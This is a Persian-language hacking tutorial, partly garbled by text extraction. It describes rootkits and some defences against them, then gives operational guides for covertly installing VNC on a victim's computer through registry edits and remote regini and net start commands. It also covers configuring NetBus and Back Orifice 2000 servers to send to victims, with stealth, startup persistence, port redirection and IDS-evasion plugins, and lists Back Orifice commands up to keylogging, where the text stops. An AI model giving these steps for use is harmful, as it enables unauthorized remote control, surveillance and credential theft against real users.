RootKit              بيه سيار ش اری ب ه از نظر ساختار ک ا و   Trojanها برنامه هایی هستند ک ه          Backdoor ه اوت ک ن تف ا ای ی ب ا هستند ول ه
سيار مشکل   RootKitشناسایی   را        ب شتی است زی ر از درب های پ اربردی          RootKitت ه ک وان یک برنام ه عن ر اینکه ب ا علاوه ب  ه

ی            Sub7 و ابزارهای درب پشتی مثل  Netcatخارجی مثل شنونده    ه های اجرای ایگزین برنام ستم اجرا می شوند بلکه ج ر روی سي  ب
شتی و                       مهم س  ق درب پ ه از طری د ک ن اجازه را می دهن يستم عامل و در گاهی مواقع جایگزین خود هسته کرنل می شوند و به هکرها ای

اب                  ا نصب ردی ال راحت ب ا خي ادی ب ا   پنهان شدن در عمق سيستم عامل به آن نفوذ کنند و مدت زی ه های     )  Sniffer( ه و دیگر برنام
 اصلی وجود دارد که هر کدام  RootKitدر دنيای هکرها دو نوع . تی را که نياز دارند بدست آورند      مانيتورینگ بر روی سيستم اطلاعا    

 . تعریف جداگانه ای دارند
   
١- RootKit سنتی  :  
  

RootKit        های سنتی با شناسایی اولين RootKit      ا          ١٩٩٠   بسيار قدرتمند در اویل سال  در طول یک دهه گسترش پيدا کردند و تا آنج
ا اجازه می                  RootKitش رفتند که امروزه انواع مختلفی از        پي  های سنتی وجود دارند که به طور عملی خودشان نصب شده و به هکره

ه طور سنتی                      RootKit. دهند که به سرعت سيستم قربانی را فتح کنند         ی ب د ول  های سنتی برای سيستم عامل های مختلف نوشته شده ان
دوز  .  و از این قبيل تمرکز کرده اند HP-UX - AIX - Linux - Solaris - SunOSبر روی سيستم های یونيکس مثل رای وین  ولی ب

ا         RootKit نيز  NT/2000های سرور مثل     د پوی ه های پيون ایگزین کتابخان ه ج د ک ستم را     )  DLL(  هایی نوشته شده ان ا سي شده و ی
  .  های یونيکس نوشته شده اند ها برای سيستم RootKitتغيير می دهند ولی تعداد زیادی از 

  
RootKit      ها اجازه دسترسی Root    یا Administrator             ه نصب ادر ب ا هنگامی ق د و م ا نمی دهن ه م ا آ را ب ستم    نه ر روی یک سي  ب

افر                         ل سرریز ب يم      ... هستيم که دسترسی ریشه ای و مدیر یک سيستم را توسط روش های دیگری مث ه دست آورده باش ابراین یک    . ب بن
RootKit    یک سری ابزارهایی است که با پياده سازی یک درب پشتی  )Backdoor  (   ستم و رد تفاده از سي  و پنهان کردن مدارک اس

ایلی را در داخل   اسب های ترواساختار کار   . پاها به هکر اجازه نگهداری دسترسی سطح ریشه را می دهد            ها به این صورت است که ف
ا    Logهای قربانی را   اضافه می کند و این فایل تمامی پسورد     System32هسته سيستم مثل پوشه      ا ب  کرده و برای هکر می فرستد و ی

ستم       RootKitباز کردن پورتی اجازه ورود هکر را از طریق پورت باز شده می دهد ولی                 ایلی در هسته سي  های سنتی به جای اینکه ف
ام          ها و فایل های اصلی و مهم  قربانی اضافه کنند، سرویس   اتی مخرب انج ه عملي ه آن ک ر یافت سخه تغيي ا یک ن سيستم عامل قربانی را ب

رین    bin/login/ های معروف در سيستم های یونيکس برنامه   RootKitبرای مثال   . می دهد جایگزین می کنند     را که یکی از اساسی ت
شه می باشد              است را با یک نسخه تغيير یافته که شامل یک کلمه عب             Unixابزارهای امنيتی در     ور درب پشتی برای دسترسی سطح ری

ه   . عوض می کنند   ونيکس از برنام رای جمع آوری و تست     bin/login/سيستم های ی د       UserID ب تفاده می کن ور اس .  های کلمات عب
/bin/login          سورد داده شده توسط  ها مقایسه می کند تا تعيين کند که پ  شناسه کاربری و پسورد تایپ شده توسط کاربر را با فایل پسورد

د         Userبه آن   bin/login/اگر پسورد داده شده درست باشد روتين        . کاربر صحيح است یا خير     ا   .  اجازه ورود به سيستم را می ده خب ب
د                   RootKitاین توضيحی که دادیم فرض کنيد که یک          ه نوشته شده خود عوض کن ا برنام ه را ب شه         .  این برنام سورد ری اگر هکر از پ

د                bin/login/ی استفاده کند، برنامه     درب پشت  ستم را می ده ه سي ه و اجازه دسترسی ب شه       .  تغيير یافت سورد ری ستم پ دیر سي ی اگر م حت
ود        ستم وارد ش ه سي شتی ب شه درب پ ور ری ه عب تفاده از کلم ا اس د ب ی توان وز م ر هن د، هک ين  . اصلی را عوض کن ک روت ابراین ی بن

RootKit  ،/bin/login   شتی ا رار               یک درب پ تفاده ق ورد اس ستم م ال سي ی نرم رل های امنيت رای دور زدن کنت د ب را می توان ست زی
رد ای           . گي ال و زیب ه نرم ک برنام ره آن ی ط چه را فق ست زی م ه روا ه ب ت ک اس ر آن ی لاوه ب ک    Loginع ل ی ی در اص ت ول  اس

Backdoor اکثر .  استRootKit       ل ایی مث ه ه ا و برنام  را  DU - Find - Ifconfig - Login - ls - Netstat - ps ها سرویس ه
د     RootKitبا   ا می کنن ه                  .  خود جابج ایگزین می شود ک رد ج ه ف روای منحصر ب ا یک اسب ت ستمی ب ه های سي ن برنام هر یک از ای

ين   Unixهمه این برنامه های . عملکرد آنها شبيه به برنامه عادی است     ه تعي د    مانند چشم و گوش های مدیران سيستم می باشد ک  می کنن
 انجام می شود     RootKitهکرها با پوشاندن چشم و گوشهای مدیران سيستم که توسط           . چه فایل ها و سرویس هایی در حال اجرا هستند         

د     ستم مخفی نگه دارن ه از   Tornkitو  )  linux RootKit 5 ( lrk5. می توانند به صورت موثری حضورشان را در یک سي  دو نمون
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RootKit   ستند که برای سيستم های  های سنتی هLinux  و Solaris       ن د ای يانه می تواني ا   RootKit نوشته شده اند و در سایت آش  ه
الا                          RootKitاین  . را پيدا کنيد   ه در ب ستم عامل ک م سي اتی و مه ا سرویس های حي انی خود را ب  ها به محض نصب شدن در سيستم قرب

  . ذکر شد جایگزین می کنند
   
٢- RootKit  هسته  سطح :  
  

وع سنتی            RootKitاین نوع از   ر از ن ا را فرات سيار پ ان سازی ب  ها نسبت به نوع سنتی بسيار حرفه ای تر هستند و از نظر سطح پنه
 ها در سطح ریشه پياده سازی می شوند و این کار شناسایی و کنترل کردن آنها را بسيار مشکل تر کرده                      RootKitگذاشته اند زیرا این     

رای جای              RootKit. است د ب ستم اصلی و یک امکان قدرتمن د     های سطح هسته به ما کنترل کاملی از سي ری می ده ا    . گي یک هکر ب
ه درب                               رای دسترسی ب ادی ب درت زی رده و ق ایجاد تغييرات اساسی در خود هسته، می تواند سيستم را در سطحی بسيار اساسی کنترل ک

 خود هسته در حالی که یک کرنل زیبا و کارآمد به نظر می رسد تبدیل به یک اسب تروا      .پشتی و پنهان شدن در ماشين را به دست آورد         
د    Kernelمی شود و در حقيقت    ر می مان ه یک    .  فاسد می شود ولی صاحب سيستم از این موضوع بی خب  سنتی   RootKitدرحالی ک

ایگزین      RootKitشود ، یک   می   ...  ifconfig - lsجایگزین برنامه های سيستمی حياتی مثل برنامه های    سطح هسته در حقيقت ج
ه      پردازش– دستورها -تمامی فایل ها . هسته می شود و یا آن را تغيير می دهد      وده ب ستم آل   RootKitها و فعاليت های شبکه ای در سي

اده سازی می      LKM های سطح ریشه توسط  RootKitاغلب . هسته پنهان می شوند و تمامی اعمال به سود هکر ضبط می شود          ا پي  ه
وند صب . ش ط    RootKitن ه توس سته ای ک طح ه ای س ت     LKM ه ت اس سيار راح د، ب ده باش ازی ش اده س ا پي رای  .  ه ال ب رای مث ب
ستم    Root سطح ریشه یا همان  Account که برای هسته لينوکس نوشته شده است، یک هکر که با  Knrak Rootkitنصب ه آن سي  ب

را تایپ کند و ماژول نصب می شود و منتظر دستورات هکر می ماند و حتی نيازی به , insmod knark.oوصل است تنها کافی است 
دوز    RootKit. بوت کردن دوباره سيستم هم ندارد  رای وین ه یک       NT های سطح هسته ب د ک م وجود دارن ر روی خود    Patch ه  را ب

رین        . ها اعمال می کند     LKM بدون استفاده از    NTهسته اجرایی ویندوز      و   Knrak های سطح هسته         RootKit چند تا از معروف ت
Adore        ، برای سيستم های لينوکس Plasmoid      برای سيستم های Solaris    و RootKit      سطح هسته ویندوز NT   برای سيستم های 

  . اند در سایت آشيانه برای اعضای سایت قرار داده شده  RootKitسرور ویندوز نام دارند که همگی در لينک 
  

ا  ه ب ای مقابل نتی و  RootKitراه ه ای س ر   RootKit ه اع در براب رین راه دف سته مهمت ای سطح ه ه  RootKit ه دادن ب ازه ن ا اج  ه
شه    RootKitهمانطور که در بالا ذکر شد یک هکر برای نصب یک     . هکرها در دسترسی به حساب مدیر است        باید دسترسی سطح ری

تيابی            هميشه راه های نفوذ و آسيب های جدید سيستم عامل          داشته باشد و اگر ما بتوانيم      ریم شانس دس ين بب ا را از ب مان را شناسایی و آنه
ر     . هکر به حساب ریشه سيستم خود را تقریباً به صفر رسانده ایم  ا ، هکری توانست ب در مرحله بعد اگر فرض کنيم که با بی احتياطی م

ا             نصب کند، یکی از       RootKitروی سيستم ما     ستم م ه سي ن ک تفاده از دستور           RootKitراه های تست ای ر اس ا خي   Echo شده است ی
د و                echo ها ، دستور      RootKitتعداد بسيار کمی از     . است روا می کنن وری می باشد ت  را که برای ليست کردن محتویات یک دایرکت
د  ls ها بر روی تروا کردن   RootKitاکثر   ل    .  تمرکز کرده ان ين دلي ه هم وری را        echoب ات یک دایرکت انونی از محتوی  یک ليست ق

ه دستور           echoبرمی گرداند و اگر نتيجه ای که         زی ک اوت باشد          ls بر می گرداند با چي د متف شان می ده وری داده شده ن رای دایرکت  ب
ستم شما                        ه سي اند ک ن    .  شده است    RootKitممکن است چيزی در آن دایرکتوری پنهان شده باشد که این نتيجه را می رس ی در کل ای ول

 وقت   ls و  Echoروش زیاد موثر نيست چون جستجوی تمام سيستم فایل برای یافتن هر اختلافی بين فایل های ليست شده در خروجی                 
د        ه             . زیادی را صرف می کن اليز برنام رای آن ا          Rootkit/bin/loginامروزه ابزارهای مختلفی ب د آی ه مشخص می کنن  وجود دارد ک

RootKit         ل های              .  شناخته شده ای نصب شده است یا خير این ابزارها وقتی که بر روی سيستم نصب می شوند به صورت دوره ای فای
ه     RootKit چک می کنند تا از وجود         bin/login/مهم بر روی سيستم را مثل        ه برنام زاری جالب در    ChRootkit باخبر شوند ک  اب

رین راه           ی درکل بهت ر       این زمينه است ول اع در براب ه                     RootKit دف ا ب وی می باشد ت الی ق ر انگشت دیجيت وژی اث تفاده از تکنول ا اس  ه
د  ق نمای ی را تحقي ستم بحران ل های سي ه  (  MD5. صورت دوره ای درستی فای م ساز یک طرف ابع دره سيار ) یک ت یک الگوریتم ب

ستمی             Encryptیک اثر انگشت    با محاسبه   . های قوی می باشد    مناسب برای محاسبه این نوع اثر انگشت       ل های سي رای فای وی ب  شده ق
رای تست صحت             TripWire.مهم یک هکر قادر نخواهد بود که فایلی را تغيير داده و با همان اثر انگشت وارد شود                  وی ب زار ق  یک اب

ت     ده اس رار داده ش ود ق رای دانل يانه ب ایت آش ه در س ت ک ازی   TripWire. اس م س ل ه  MD5 دره ی  ای از فای ای بحران
سه می     ...  و  etc/passwd/bin/login - ls - ps/مثل اه داده ای امن مقای ساخته و به صورت دوره ای این درهم سازی را با یک پایگ
  .  یک سرویس سریع به مدیر سيستم اطلاع می دهد MD5در صورت تغيير در . کند

   
ام ای         ا تم ستم شما ب ه    در آخر ذکر این نکته لازم است که اگر سي وده ب ردن آن فرمت       RootKitن ملاحظات آل ين ب رین راه از ب  شد بهت

  .هسته و نصب مجدد سيستم عامل است
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  VNCمعرفی و آموزش 
  
  

  !ت استيشخص  محصول باکیست، يک تروجان نین ی چون اصولا ا ، سختهی کمکی یوتر قرباني کامپینصب کردنش رو
  

 یها لی فادر مرحله اول  -١
  

• winvnc.exe   
• vnchooks.dll   
• omnithread_rt.dll   

  
  .ميفرست ی خاص مپوشهک ی و در یوتر قرباني به کامپار

  
د و   ی ایستريرات در رجيي تغیک سرینه که یم که کارش ا   يکن  یجاد م ی ا winvnc.iniل به اسم مثلا     یک فا یم و   یای یبعد م  -٢ اد کن ج

  . ست کندVNC برایک پسورد ی
  

• VNC٣تم ی از الگورDES برای hashآدرس  و رمز را در دکن یدن رمز استفاده م کر: 
 

HKEY_USERS\DEFAULT\Software\ORL\WinVNC3  
  

اب   . شهيره م ي ذخ ید که چه شکل   ينيد و بعد بب   يک پسورد رو ست کن    ید  يتون  یم .کنديره م يخذ ه  یاگه پسورد انتخ  باشه،  secret کلم
  : است از عبارتVNC شده اون در hashمعادل 

  
0x00000008 0x57bf2d2e 0x9e6cb06e 

  
  

ه اسم         ی ک فا ی د  ی باشه، حالا با   secret کلمه    من یپس من اگه پسورد انتخاب    . خواهد بود  ثلا ب نم م ه توش ا  winvnc.iniل درست ک ا  ی ک نه
  : باشه

 
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 
 
    SocketConnect = REG_DWORD 0x00000001 
 
    Password = 0x00000008 0x57bf2d2e 0x9e6cb06e 

  
امپ یعن ی( موت  یبه صورت ر  )  است   NTRKک ابزار از    یکه قبلا گفتم     ( reginiو بعد به کمک      ان  ي از ک ر رو ی دستور ز ) وتر خودم

  : ميکن یاجرا م
  

regini -m \\xxx.xxx.xxx.xxx winvnc.ini 
  

  : ميسینو یم. ميو آغاز کنس رید سرویم، باي اعمال کنیستريرات رو در رجييم تغيحالا که ما تونست
 

winvnc -install 
net start winvnc 

  
ام است    ار تم امپ  . و ک ه   يحالا در ک رده و   vnc viewerوتر خودمون برنام انی متصل       IP رو اجرا ک ه قرب زنيم و ب ور را مي ه عب  و کلم

  !ميشویم 
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   Net Busمعرفی 
  

  : ان استفاده کنيد ٢ توصيه ميکنم از نسخه شماره  این برنامه این شکلی است و زیاد جالب هم نيست١٫۶ نسخه 
  

  
  
  
  

ال                         خوب مثل همه برنامه های تروا شما اول باید یک فایل سرویس دهنده درست کنيد و بعد ان را برای طرف مورد نظر بفرستيد که اغف
که شما به خط فرمان ان دسترسی دارید و ان بشود و بعد بياد ان را اجرا کند و شما به ان سرویس دهنده متصل بشوید و بقيه ماجرا یا این                

  ... آنجا اجرا ميکنيد و امستقيم
  

دکی        ٢نسخه شماره   ... و!!!! تمام گزینه ها مشخص است اما هيچ کدام به درد ما نميخورد مثلا پخش صدا برای طرف                   ه ان ن برنام  از ای
   !!ه دو این شکلی نسخه شماربهتر شده و امکانات خوبی دارد اما در کل برنامه خوبی نيست

  

  
  
  

  !!برای پيکر بندی سرویس دهنده ان تنها امکانات زیر موجود است 
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ه از  Port Redirectدر کل من از این برنامه زیاد خوشم نمی آید چون کارای زیادی ندارد و فقط تنها امکان خوب آن امکان   آن باشد ک
  !!ان هم ميشود چشم پوشی کرد 

  
  !! را انتخاب ميکنيم مطابق شکل Server Setup رفته و گزینه  Fileبرنامه و استفاده از ان اول به منوی برای راه اندازی این 

  

  
  
  

ام            Server executableبعد از ان گزینه  ه ن ه معمولا ب م راه ان را ک ده ه از شده سرویس دهن   NBSrv را انتخاب کرده و از پنجره ب
  !!است انتخاب مينمایيم 
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  !!ویس دهنده انتخاب سر
  

  
  
  

م انتخاب             !! خوب بعد از انجام مراحل بالا ميرسيم به پيکر بندی این برنامه              ور ه ه عب هيچ پيکربندی خاص نداره توصيه ميکنم یک کلم
دو شماره پورت هم شماره بالا انتخاب کنيد و   !! کنيد تا شخص دیگری به سوژه شما همين گونه متصل نشود و حتما کلمه عبور را بداند                  

  !!تا تيک را هم بزنيد 
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خوب حالا به پوشه خود برنامه بروید و فایل سرویس دهنده را که پيکربندی کردید برای طرف بفرستيد تا خودش اجرا کند یا اینکه اگر               
وی               !! دسترسی به خط فرمان ان دارید آنجا ان را اجرا کنيد             د و از من ر گردی ه ب ه  Hostبعد از انجام این مرحله به برنام  را New گزین

  !!مطابق شکل انتخاب کنيد 
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د   IP شماره  Host name/IP و Destinationبعد از ان در  انی را وارد کني سمت   !!  قرب ز در ق ه     TCP-Portو ني ورت ک ان پ ز هم  ني
ه  بعد از ا. انتخاب کرده بودید را انتخاب کنيد و فيلد کلمه عبور را هم هر چه قرار داده بودید قرار دهيد                   OKنجام این مراحل روی گزین

  !!کليد کنيد تا به ان متصل شوید 
  

  
  
  
  
  

  !!حال شما ميتوانيد کار های خودتان را که البته این برنامه به شما اختيار انجام ان را ميدهد ، انجام دهيد !! این تمام مراحل بود 
  

فاده نکردم ، برام ننگ دارد ، اصلا اينجا در باره اين برنامه ها          تو عمرم يک بارم از اين برنامه است       !!! از خجالت آب ميشوم     دارم  ** 
  !! اما چه کنم ، ميخواهم کتابم کامل باشه حرف بزن
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  Back Orificeمعرفی و آموزش 
  

  
  

ا                 دارد ام ادی ن ات زی ين      این ابزار من دوست دارم ، البته خود این ابزار مثل بقيه ابزار های از این دست امکان ه پلاگ ه جهت ارای  چون ب
ا              بسيار عالی برای این ابزار واقعاً     )  Plug-ins(های   دارد ام تن ن رای گف اد حرفی ب زار زی ن اب يگم خود ای  کارای آن توپ شده ، بازم م

ا پلا             Nessusپلاگين های ان بسيار به ان قدرت ميبخشند دقيقا مثل            ين های ان    که خود برنامه ان زیاد خوب نيست و بسيار کند است ام گ
  !!بسيار عالی است و به ان قدرت ميبخشد 

  

  
  

ر از  BO2Kبيشتر این ابزار با نام      ميشناسند ، اگر خود برنامه را از نظر پایداری و  امکانات با برنامه های مشابه مقایسه کنيم یقينا بهت
ز دار        ری ني ه داری یک    .  د تمام برنامه های مشابه است و بسيار قوی و پایدار است و عملکرد بهت ن برنام د   ( است  GUIای شما ميتوان

د               ان اجرا کني وان                        ) اصل برنامه را تحت خط فرم ه تحت عن ه مخصوصی ک د از  برنام ده ان بای ل سرویس دهن دازی فای رای راه ان ، ب
bo2kcfg                           ه شما د ک ر را می بيني ه شکل زی د از اجرای ان برنام ه   در شاخه برنامه موجود است استفاده کنيد ، بع د  nextروی دکم  کلي

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ميکنيد 
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  !!!به شکل توجه کنيد !! بعد از این شما باید یک سرور انتخاب کنيد که معمولا همراه خود برنامه موجود هست 
  

  
  
  

ين دو پروتکل                           وع انتخاب اتصال خود را  از ب د ن ه شما بای ر اس  UDP و  TCPحال در این مرحل د ،      ب اس مقتضيات خود انتخاب کني
  !! را انتخاب بکنيد TCPتوصيه ميکنم 
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د    ين       !! ( در مرحله چهارم شما یک شماره پورت برای سرویس دهنده انتخاب ميکني ا ب الا م ورت شماره ب ا  ١یک پ ل    ۶۵۵٣۵ ت ه مث  ن
  !! )عکس پایين اشتباه 

  

  
  

ين یک   !! ده بين خودمان و قربانی را انتخاب ميکنيم  در مرحله پنجم ما نوع رمز نگاری اطلاعات رد بدل ش       البته ما ماندیم چرا فقط هم
  !! ضعيف است اما بهتر از هيچی است  واقعاXORًانتخاب را در اختيار ما قرار ميدهد البته 
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  .م در مرحله ششم ما باید یک کلمه عبور برای دسترسی به سرویس دهنده مانند برنامه  قبلی انتخاب نمایي
  

  
  

ه سرور    Nextخوب بعد از آنکه روی دکمه     د ک ده  ( کليد  کردید پنجره بعدی به شما ميگوی اده است و شما      ) سرویس دهن ورد نظر  آم م
 کليد ميکنيد در این هنگام پنجره جدیدی باز شده و به شما امکانات اصلی تنظيم پلاگين ها را ميدهد مطابق شکل زیر      Finishروی دکمه   

!!  
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د    در  تفاده از کلي ا اس د         Open Serverاین پنجره ب د انتخاب ميکني اد کردی ل ایج سمت قب ه در ق ه   !!!!!!!  آن سروری را ک د از ان ب و بع
ه پوشه         Option Variablesسراغ  ثلا ب ا است م ن ج دی در ای سمت   Stealth رفته ؛ اصل پيکر بن ه و ق  را از Run At Startup رفت

از                 {... تغيير دهيد  و    ) Enabled( حالت فعال   به  ) Disabled(حالت غير فعال     ورد ني دی م ا پيکر بن تمام گزینه ها را چک کنيد تا دقيق
  }خود را بدست آورید 
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ا حذف     Insertدر این پنجره دکمه به نام .....  و یا insidious modeیا مثلا فعال کردن حالت  ا ی ين ه  وجود دارد که امکان نصب پلاگ
  . کليد کنيد تا تغيرات ذخيره شود Save Serverبعد از اعمال این گونه تغيير ها ما روی دکمه  . دهد آنها را به شما مي

  
وی                      يم ، از من ده را اجرا ميکن ه سرویس گيرن ه    Fileخوب حال خود برنام ده        New گزین يم و مشخصات سرویس دهن  را انتخاب ميکن

د           آن را وارد ميکنيم و بعد از ان د        ...  و IPهمچون شماره    شود روی کلي از مي ه ب انی متصل       Connectر صفحه ک ه قرب ا ب يم ت د ميکن  کلي
  .... در این جا دستورات مورد نظر را از سمت راست برنامه انتخاب کرده و آنها را اجرا  می کنيم و. شویم 
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  ...انتخاب دستورات  و
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ا ترافيک ورودی از روی یک    این برنامه امکانات خوبی دارد ، یکی از آنها  ، ابزار تغيير مس          ير ترافيک شبکه است به این معنی که م
 Map Port -> Other IP در قسمت ليست دستورات گزینه  TCPپورت را به ترافيک پورت دیگر ميفرستيم برای این کار  از منوی 

  :را انتخاب ميکنيم ، مثل شکل 
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ن برنا  ری از ای ره گي ا به د ب ه ملاحظه ميکني ه ک ورت همانگون ا پ ادریم ت ت ق ه در سمت کلاین ن ٣۵۴۵م ان ای ين ميزب ر روی ماش  را ب
ورت شماره             ) قربانی(سرویس دهنده    ه پ وری از ان را ب رده و ترافيک عب ه آدرس   ٨٠باز ک ستمی ب ر مسير   ١٢٧٫١٫٢٫۴۵ از سي   تغيي

يم   ورت شماره       . ده ا پ صالی ب ه ات ار هرگون ن ک ا ای ورت شماره     ٣۵۴۵ب ه پ انی ب ستم قرب ا سي ه آدرس  ٨٠  ب ستم ب  ١٢٧٫١٫٢٫۴۵ از سي
ستم   د و در ان سي د ش دایت خواه د    ) ١٢٧٫١٫٢٫۴۵(ه ایش ميده انی نم ين قرب تباه ماش ه اش رده را ب ا او ک ه تقاضای ب اربر اصلی ک . ک

  !!!!!!!!! ) وجود دارد ، فراموش نکنيد :  و شماره پورت یک IPبين شماره ) (نميدونم متوجه شدید یا نه(
  

ه   .  مفيد دارد که کمی کار با ان انجام بدهيد به همه آنها پی خواهيد برد ینه های واقعاًاین ابزار گز   وانم ب از پلاگين های مفيد ابزار من ميت
BO SOCK32      سته های ق ب د از طری ایج را     ICMP اشاره کنم که با استفاده از این پلاگين شما ميتواني  دستورات خود را ارسال و نت

د ، از دیگر         دریافت کنيد و کار بس     ورتی گوش نميده ه پ ده ب يار محرمانه و مخفيانه ميشود و دیگر هيچ پورتی باز نيست و سرویس دهن
رار از دست                                 STCPIOپلاگين ها ميتوان به      د و امکان ف ده رمز ميکن املا پيچي ه صورت ک ا را ب سته ه ام ب ه تم رد ک ا  IDS اشاره ک  ه

  .بسيار زیاد ميشود 
  

  »ز دوستان در این باره نوشته اند توجه کنيد حال به مقاله ای که یکی ا
  

Backorifice ده است   يگ سیسرو/ دهنده   سی سرویاربردک برنامه  یک رم  ک رن ه ن زار  ه ب د    يگ سیسرو  اف ده اجازه نظارت، م ت و یریرن
ردن ک برقرار  ارتباطیبرا. دهد یدهنده است، م سی سرویه در حال اجراک یني ماشیرا بر رو هک و شبییا گر اعمال چندرسانهی دیاجرا

د یايروسافت به اجرا دربیکندوز ماین ويهر ماش یتوانند بر رو یم gui رندهيگ سیا سرویدهنده، متن و  سیبا سرو ده بطور    سیسرو . ن دهن
  .شود ی اجرا م٩٨/٩۵ندوز یفقط در و متداول

Backorifice  ل استی فا۶شامل:  
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• boserve.exe :  دهنده سیسرو Backorifice شود یار نصب مکت خوده بصورک.  
• bogui.exe :  رندهيگ سیسرو Backorifice, gui  
•  boclient.exe : رنده متنيگ سیسرو orifice Back  
• boconfig.exe :  یربنديک پی برایابزار exename ،پورت ،password و plugin یک یش فرض برايپ Boserver.  
• melt.exe : Decompress ا فرمان فشرده شده بیلهایردن فاک File freeze.  
•  freez.exe : توانند با فرمان یه مک ییلهایردن فاک فشرده  Filemelt ،decompress شوند.  

ده اجرا م    سیه سرو ک یزمان. دهنده اجرا شود سیه سروکدهنده، تنها لازم است   سی نصب سرویبرا ردد، سرو   یدهن ده خودش    سیگ دهن
ل یردن فاک یپک با یسادگ تواند به یدهنده م سیرا سروید است، زيار مفيه بسک شبیطهاي محیمسئله برا نیا. شود ینصب و سپس حذف م

دهنده ابتدا نصب و سپس   سی سروییل اجراین فاین نصب گردد، بنابراي ماشیک یبر رو Startup یتورکریدهنده در دا سی سروییاجرا
ار   گ ین نصب مي ماشیک یدهنده بر رو سیه سروک یزمان. خواهد شد حذف ا هر ب داز  راه ردد، ب ده ن  سین، سرو ي ماش یان  Start زي دهن

 .شود یم

را  اء بخش  یب ه ي ارتق ادگ   running copy ،Backorifice دن ب ه س سخه جد  یاز راه دور، ب ه م   سید سرو ی ن ده را ب ان راه دور يدهن  زب
Upload از فرمان  آنی اجراید، و براينک Process spawn یها ار تمام برنامهکخود دهنده بطور سیروهنگام اجرا، س. دیياستفاده نما 

ر رو   ک یم  Kill در حال اجرا را د، خود را ب سخه ین د   ن ه  exe اش اجرا و  ت نصب شده  ي د و خودش را از موقع ی نما ی نصب م  یمیق  ب
 .ندک ی شده را حذف میروزرسان

ورت  ک یخود نصب م    Backorifice هک ییاfilename . شوندیربنديکتوانند پ یدهنده م سیانات سروک از امیقبل از نصب، برخ د، پ  ین
روک ر سیه س ده منتظ ن دهن راک یاpassword دن آن است ويش ذاریه ب د ی میرود، همگ یار مک بی رمزگ تفاده از توانن ا اس  ب

boconf.exe  ،Utility ديکپ وندیربن رو.  ش ر س ده پ سیاگ ديکدهن نیربن شود، در ش ورت ي ن اهک٧٣٣١٣دن پ راک یم یوت د، ب  ین
 exe" (Space dot exe). " و خود را بصورت)  شده هستندیرمزگذار ها هنوزpacket) دینما یاستفاده نم password  ازیرمزگذار
 .ندک ینصب م

ذار یهاPacket قیرنده از طريگ سیسرو ا سرو   UDP  شده ی رمزگ ده  سیب رار م    دهن اط برق د ک یارتب را . ن ق، لازم   یک  یب اط موف  ارتب
ا یرنده بايگ سیسرو password دن آن است بفرستد ويدهنده منتظر شن سیه سروک ی به همان پورتها راPacket رندهيگ سیاست سرو  د ب

passwordشده، هماهنگ باشدیربنديکپ دهنده با آن سیه سروک یرمزگذار . 

 و متن gui رندهيگ سیبا هر دو سرو P Option- تواند با استفاده از یفرستد م ی خود را از آنجا میهاPacket رندهيگ سیه سروک یپورت
Set اگر. شود Packetیکا ی لتر شده باشنديها ف firewall ن است لازم باشدکدر محل وجود داشته باشد، مم packet ا از ورت  یک  ه  پ

اط  هک یزمان. ه شده نباشندکا بلویلتر شده و يه فکخاص فرستاده شوند  دون اتصال باشد،     UDP ارتب ا مم Packetب ر ين است در مس  ک ه
 .ه شوندکبلو رندهيگ سیر بازگشتشان به سروي در مسی برگشتیهاPacket ایدهنده و  سیسرو خود به

ايعمل تادن فرمانه ا فرس ه يگ سی از سروییات ب ده ب کرن ر رو IP  آدرس خاصی را درم سیسرو یب ه اج ده ب دیآ یدهن ر ماش. ن ن ياگ
ده رو  سیسرو  تفاده از فرمان    ینباشد، م   سنای  آدرس ایک  یدهن ا اس د ب ا توان تن   يگ سیسرو  از Sweeplist ای  Sweep یه ده م ا از ی رن
راردادن  یو  ping..." dialog" با استفاده از gui رندهيگ سیسرو ردد   ،"*.1.2.3" مقصد  IP یک ا با ق ستقر گ ا  . م  ستي  شدن ل کاگر پ

Subnetستي ان ل مشابه به عنویتورکریرنده در دايگ سیرد، سرويصورت گ دهنده سین سروي ماشییها هنگام پاسخگو Subnet  ظاهر 
 .دهد یش مینما افته استی subnet لیه با نام فاکل را ین فاين خط از اوليگردد و اول یم

ا  یاجرا م Backorifice ه بطور متداول درک ییفرمانها ا ب  یبرخ . شده است   ستي ن لیيگردند در پ تن و  يگ سین سرو ي از فرمانه ده م  رن
guiا تا   يگ سیدر سرو.  استیکیانها گرامر باً در تمام فرمیتقر متفاوت است، اما تن، ب ده م  یشتري اطلاعات ب  help' command' پی رن

ده يگ سیشود، سرو   یانتخاب م   "Command" ستي  از لیفرمان هک یزمان. ش درخواهد آمدی از فرمانها به نمایکدر مورد هر  gui رن
رار م    یکح هري توضیپارامتر را برا  از دویبرچسب ان ق اد فرم از از جانب  ي از اطلاعات موردن  یه بخش ک  یدر صورت . دده  ی از ابع

 :قرارند نیاز ا Backorifice یفرمانها. دهنده بازگردانده خواهد شد سیق سرویطر از "missing data" یفرمان ارائه نگردد، خطا

 )(gui/text  فرمان

App add / appadd 

ه   یم شما اجازهار به کن یا .TCP  پورتی بر روی متنیاربردک برنامه یکر يثکت  همچون ) dos ا تحت ی  ی متن یاربردک دهد تا برنام
)Command.comبخشیک قیرا از طر  Telnet دينکنترل ک.  
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App del / appdel 

 .ندک ی را متوقف میاربردک برنامه یکارتباط 

Appslist / applist 

 .ندک یست ميد، لرون یار مک ارتباط به ی برقراریه بطور متداول براک را یاربردک یها برنامه

Directory Create / md 

  .ندک یجاد می ایتورکری دایک

Directory list / dir 

 .دينکن ين معيتر جانشکاراک یکد ید باينکست يل را لی فایکش از يد بياگر بخواه. ندک یست مي را لیتورکریلها و دایفا

Directory remove / rd 

 .ندک ی مکرا پا directory یک

Export add / shareadd 

 .شود یش داده نمینما shared hand نیکو با آین درایکا آیشده  export یتورکریدا. ندک یجاد میا Server یرو export یک

Export delete / sharedel 

export ندک یرا حذف م. 

Exports list / sharelist 

ست ي  را لک اشترایبرا password  وک به آن اشترایابياند، دست هشد  گذاشتهکه به اشتراک یتورکریا دایو ی متداول، درایهاکنام اشترا
 .ندک یم

FileCopy / Copy 

 .ندک ی میپکل را یفا

File delete / del 

 .ندک یل را حذف میفا

FileFind / Find 

 .ندک ین هماهنگ است جستجو ميه با مجموعه مشخصات جانشک ییلهای را بدنبال فایتورکریدرخت دا

Filefreeze / freeze 

  .ندک یل را فشرده می فایک

Filemelt / melt 
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  .ندک یم Decompress ل رای فایک

Fileview / view 

  ندک یل متن را مشاهده می فایک یمحتوا

HTTP Disable / httoff 

 .سازد یرفعال ميرا غ http دهنده سیسرو

Keylog begin / keylog 

